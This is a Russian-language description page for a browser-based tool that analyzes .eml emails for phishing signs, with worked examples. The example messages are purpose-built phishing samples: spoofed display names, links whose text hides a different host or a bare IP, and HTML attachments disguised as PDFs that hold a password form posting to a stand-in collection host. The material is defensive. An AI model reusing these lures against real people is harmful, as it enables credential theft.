Проверьте записи SPF (с лимитом в 10 запросов), DMARC, DKIM, MTA-STS и BIMI домена.
Анализатор писем EML
Сам инструмент доступен на английском языке; на этой странице приведено его описание на вашем языке.
Используйте Анализатор писем EML
Для чего это нужно
Перетащите файл .eml или вставьте исходный код письма, чтобы проверить заголовки отправителя, цепочку Received, ссылки и вложения. Всё работает в вашем браузере.
Приложение работает полностью в браузере: никакие введенные вами данные не передаются на сервер.
Как использовать Анализатор писем EML
- Получите исходное письмо. Сохраните письмо как .eml или скопируйте его исходный код: в Gmail — Show original, в Outlook — View message source, в Thunderbird или Apple Mail — View source. Файлы Outlook .msg не читаются.
- Загрузите его. Перетащите файл .eml на поле или выберите его (до 50 МБ) либо вставьте исходный код в текстовое поле (до 5 МБ) и нажмите Analyze (анализировать).
- Прочитайте Summary. Находки разделены на признаки опасности, предупреждения, примечания и пройденные проверки. Каждая строка указывает заголовок, ссылку или вложение, к которому она относится.
- Проверьте подробности. Под сводкой идут заголовки отправителя, домены в сравнении с доменом From, результаты аутентификации, цепочка Received, все ссылки и все вложения.
- Заберите индикаторы. Отметьте нужные типы индикаторов, затем скопируйте их как есть или в обезвреженном виде, скачайте в виде файла .txt или используйте Send to.
Пример
Специально составленное фишинговое письмо
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"
--b1
Content-Type: text/html; charset=utf-8
<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64
PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser
Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO <billing[@]example[.]net>
RETURN-PATH <bounce[@]mailer[.]example>
TO <user[@]example[.]org>
SUBJECT Action required: verify your account
DATE Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID <4471[@]mailer[.]example>
Domains compared with the From domain
From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.
HEADER DOMAIN COMPARED WITH FROM
Reply-To example[.]net
…Отображаемое имя выдаёт себя за support@example.com, Reply-To и DKIM на других доменах, DMARC fail, ссылка, текст которой показывает www.example.com, а ведёт на login.example.net, и вложение invoice.pdf.html с формой для ввода пароля.
Что проверяется
| Сигнал | Что это означает |
|---|---|
| Отображаемое имя с адресом электронной почты | Опасность, если имя показывает один адрес, а настоящий отправитель — другой. Почтовые программы часто показывают только имя. |
| Reply-To на другом домене | Предупреждение: ваш ответ уйдёт не той организации, которая отправила письмо. |
| Authentication-Results | DMARC fail и SPF fail — признаки опасности; SPF softfail и DKIM fail — предупреждения. Учитывается только результат, добавленный вашим собственным провайдером. |
| Домены Return-Path и DKIM d= | Отмечаются, если отличаются от домена From. Для сервисов массовых рассылок это нормально, но DMARC требует, чтобы один из них был выровнен с From (alignment). |
| Цепочка Received | Узлы перечислены начиная с самого старого, с задержками. Отмечаются метка времени раньше предыдущего узла, задержка больше часа и обратный DNS с пометкой «may be forged». |
| Текст ссылки и адрес назначения | Опасность, если видимый текст называет один домен, а ссылка ведёт на другой, или если текст до @ скрывает настоящий хост. Ссылки на голые IP-адреса, punycode, сокращатели ссылок и обёрнутые ссылки тоже отмечаются. |
| Вложения | Отмечаются двойные расширения, файлы, которые запускают код или открываются в браузере, содержимое, не соответствующее расширению, и трюки с символом right-to-left override. Для каждого файла вычисляются SHA-256, SHA-1 и MD5. |
| Формы и скрипты в HTML | Форма с полем для пароля в теле письма или во вложении — признак опасности. Код скриптов внутри вложения — предупреждение. |
Еще примеры
Ссылка, скрывающая IP-адрес
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html
<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>1 признак опасности, «1 link: text before "@" is ignored: the real host is 203.0.113.7», и 1 предупреждение, «1 link: link goes to a bare IP address». В таблице Links адрес показан в обезвреженном виде рядом со своим текстом, Upgrade storage.
HTML-страница под видом PDF
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"
--b
Content-Type: text/plain
Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"
<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--2 признака опасности: вложение invoice.pdf «contains a form with a password field» (содержит форму с полем для пароля), а его «content is HTML document, not .pdf» (содержимое — HTML-документ, а не .pdf). Карточка вложения показывает Content: HTML document и три хеша; таблица Links перечисляет адрес отправки формы с пометкой «form submits data to this address».
Часто задаваемые вопросы
Что проверяет EML Analyzer?
Он декодирует заголовки и каждую MIME-часть, сравнивает домены From, Reply-To, Return-Path, DKIM d= и Message-ID и читает Authentication-Results. Он также выводит узлы Received с задержками, каждую ссылку с её видимым текстом и SHA-256, SHA-1 и MD5 каждого вложения.
Может ли он доказать, что письмо фишинговое или что оно безопасно?
Нет. Он показывает факты и тревожные признаки, а не вердикт: у законных массовых рассылок часто другой Return-Path или домен DKIM, а подписи DKIM перечисляются, но криптографически не проверяются. Файлы Outlook .msg не поддерживаются; сначала сохраните письмо как .eml.
Загружается ли письмо куда-нибудь?
Нет. Файл читается и разбирается в вашем браузере, HTML показывается как текст и никогда не отрисовывается, и ничего не уходит в сеть. Кнопка Send to передаёт результат на страницу другого инструмента через session storage вашего браузера.
Какому заголовку Authentication-Results он доверяет?
Тому, который добавила ваша собственная почтовая система: он определяется по цепочке Received и помечается как «added by the recipient's server». Заголовки ниже в письме может записать отправитель, поэтому страница советует доверять только результату вашего провайдера.
Может ли он открыть письмо, вложенное в другое письмо?
Да. Вложенное письмо выводится с его хешами и кнопкой Analyze the attached message (проанализировать вложенное письмо), которая открывает его в том же окне. Кнопка Back to the outer message возвращает к внешнему письму.
Почему некоторых IP-адресов нет среди индикаторов?
Частные и локальные адреса, а также узлы внутри почтовой системы получателя не включаются, потому что они не указывают на серверы отправителя. Адреса электронной почты получателей тоже никогда не включаются.